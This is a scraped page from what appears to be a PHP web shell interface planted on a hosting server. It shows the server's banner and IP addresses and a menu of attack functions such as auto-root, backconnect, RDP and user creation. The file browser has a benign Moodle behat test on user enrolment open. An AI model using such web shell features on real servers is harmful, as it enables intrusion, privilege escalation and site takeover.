Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.70.130.44
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
user /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
add_blocks.feature
865
B
-rw-r--r--
addnewuser.feature
827
B
-rw-r--r--
behat_user.php
3.19
KB
-rw-r--r--
bulk_editenrolment.feature
2.93
KB
-rw-r--r--
bulk_message.feature
1.49
KB
-rw-r--r--
course_preference.feature
1.47
KB
-rw-r--r--
custom_profile_fields.feature
10.78
KB
-rw-r--r--
delete_users.feature
4.62
KB
-rw-r--r--
edit_user_enrolment.feature
6.83
KB
-rw-r--r--
edit_user_roles.feature
1.62
KB
-rw-r--r--
edituserpassword.feature
2.38
KB
-rw-r--r--
enrol_cohort_list.feature
2.23
KB
-rw-r--r--
filter_idnumber.feature
3.18
KB
-rw-r--r--
filter_participants.feature
46.51
KB
-rw-r--r--
filter_participants_showall.fe...
6.73
KB
-rw-r--r--
full_name_display.feature
4.68
KB
-rw-r--r--
hidden_user_fields.feature
2.09
KB
-rw-r--r--
input-purpose.feature
2
KB
-rw-r--r--
name_fields.feature
3.02
KB
-rw-r--r--
participants_in_group_modes.fe...
9.9
KB
-rw-r--r--
reset_page.feature
915
B
-rw-r--r--
set_default_homepage.feature
2.54
KB
-rw-r--r--
set_email_display.feature
3.25
KB
-rw-r--r--
table_column_visibility.featur...
2.44
KB
-rw-r--r--
table_sorting.feature
3
KB
-rw-r--r--
user_grade_navigation.feature
4.61
KB
-rw-r--r--
view_full_profile.feature
5.15
KB
-rw-r--r--
view_participants.feature
15.19
KB
-rw-r--r--
view_participants_groups.featu...
3.38
KB
-rw-r--r--
view_preferences_page.feature
3.33
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : edit_user_enrolment.feature
@core @core_user Feature: Edit user enrolment In order to manage students' enrolments As a teacher I need to be able to view enrolment details and edit student enrolments in the course participants page Background: Given the following "users" exist: | username | firstname | lastname | email | | teacher1 | Teacher | 1 | teacher1@example.com | | student1 | Student | 1 | student1@example.com | | student2 | Student | 2 | student2@example.com | And the following "courses" exist: | fullname | shortname | format | | Course 1 | C1 | topics | And the following "course enrolments" exist: | user | course | role | status | | teacher1 | C1 | editingteacher | 0 | | student1 | C1 | student | 0 | | student2 | C1 | student | 1 | @javascript Scenario: Edit a user's enrolment Given I log in as "teacher1" And I am on "Course 1" course homepage And I navigate to course participants When I click on "Edit enrolment" "icon" in the "student1" "table_row" And I should see "Edit Student 1's enrolment" And I set the field "Status" to "Suspended" And I click on "Save changes" "button" And I click on "Edit enrolment" "icon" in the "student2" "table_row" And I should see "Edit Student 2's enrolment" And I set the field "timeend[enabled]" to "1" And I set the field "timeend[day]" to "1" And I set the field "timeend[month]" to "January" And I set the field "timeend[year]" to "2017" And I set the field "Status" to "Active" And I click on "Save changes" "button" Then I should see "Suspended" in the "student1" "table_row" And I should see "Not current" in the "student2" "table_row" @javascript Scenario: Unenrol a student Given I log in as "teacher1" And I am on "Course 1" course homepage And I navigate to course participants When I click on "Unenrol" "icon" in the "student1" "table_row" And I click on "Unenrol" "button" in the "Unenrol" "dialogue" Then I should not see "Student 1" in the "participants" "table" @javascript Scenario: View a student's enrolment details Given I log in as "teacher1" And I am on "Course 1" course homepage And I navigate to course participants When I click on "Manual enrolments" "icon" in the "student1" "table_row" Then I should see "Enrolment details" And I should see "Student 1" in the "Full name" "table_row" And I should see "Active" in the "//td[@class='user-enrol-status']" "xpath_element" And I should see "Manual enrolments" in the "Enrolment method" "table_row" And I should see "Enrolment created" And I click on "Cancel" "button" in the "Enrolment details" "dialogue" And I click on "Manual enrolments" "icon" in the "student2" "table_row" And I should see "Enrolment details" And I should see "Student 2" in the "Full name" "table_row" And I should see "Suspended" in the "//td[@class='user-enrol-status']" "xpath_element" And I should see "Manual enrolments" in the "Enrolment method" "table_row" And I should see "Enrolment created" And "Edit enrolment" "icon" should exist in the "Enrolment method" "table_row" @javascript Scenario: View a student's enrolment details for a student enrolled via course meta link where editing can't be done Given the following "users" exist: | username | firstname | lastname | email | | student3 | Student | 3 | student3@example.com | And the following "courses" exist: | fullname | shortname | format | | Course 2 | C2 | topics | And the following "course enrolments" exist: | user | course | role | status | | student3 | C2 | student | 0 | And I log in as "admin" And I navigate to "Plugins > Enrolments > Manage enrol plugins" in site administration And I click on "Enable" "link" in the "Course meta link" "table_row" And I am on "Course 1" course homepage And I add "Course meta link" enrolment method with: | Link course | C2 | And I log out And I log in as "teacher1" And I am on "Course 1" course homepage When I navigate to course participants Then I should see "Student 3" in the "participants" "table" And "Edit enrolment" "icon" should not exist in the "student3" "table_row" And "Unenrol" "icon" should not exist in the "student3" "table_row" And I click on "Course meta link (Course 2)" "icon" in the "student3" "table_row" And I should see "Enrolment details" And I should see "Student 3" in the "Full name" "table_row" And I should see "Active" in the "//td[@class='user-enrol-status']" "xpath_element" And I should see "Course meta link (Course 2)" in the "Enrolment method" "table_row" And "Edit enrolment" "icon" should not exist in the "Enrolment method" "table_row" @javascript Scenario: Edit a student's enrolment details from the status dialogue Given I log in as "teacher1" And I am on "Course 1" course homepage And I navigate to course participants When I click on "Manual enrolments" "icon" in the "student2" "table_row" And I click on "Edit enrolment" "icon" in the "Enrolment method" "table_row" And I should see "Edit Student 2's enrolment" And I set the field "Status" to "Active" And I click on "Save changes" "button" Then I should see "Active" in the "student2" "table_row" # Without JS, the user should be redirected to the original edit enrolment form. Scenario: Edit a user's enrolment without JavaScript Given I log in as "teacher1" And I am on "Course 1" course homepage And I navigate to course participants When I click on "Edit enrolment" "link" in the "student1" "table_row" And I should see "Student 1" And I set the field "Status" to "Suspended" And I click on "Save changes" "button" And I click on "Edit enrolment" "link" in the "student2" "table_row" And I should see "Student 2" And I set the field "timeend[enabled]" to "1" And I set the field "timeend[day]" to "1" And I set the field "timeend[month]" to "January" And I set the field "timeend[year]" to "2017" And I set the field "Status" to "Active" And I click on "Save changes" "button" Then I should see "Suspended" in the "student1" "table_row" And I should see "Not current" in the "student2" "table_row" # Without JS, the user should be redirected to the original unenrol confirmation page. Scenario: Unenrol a student Given I log in as "teacher1" And I am on "Course 1" course homepage And I navigate to course participants When I click on "Unenrol" "link" in the "student1" "table_row" And I click on "Continue" "button" Then I should not see "Student 1" in the "participants" "table"
Close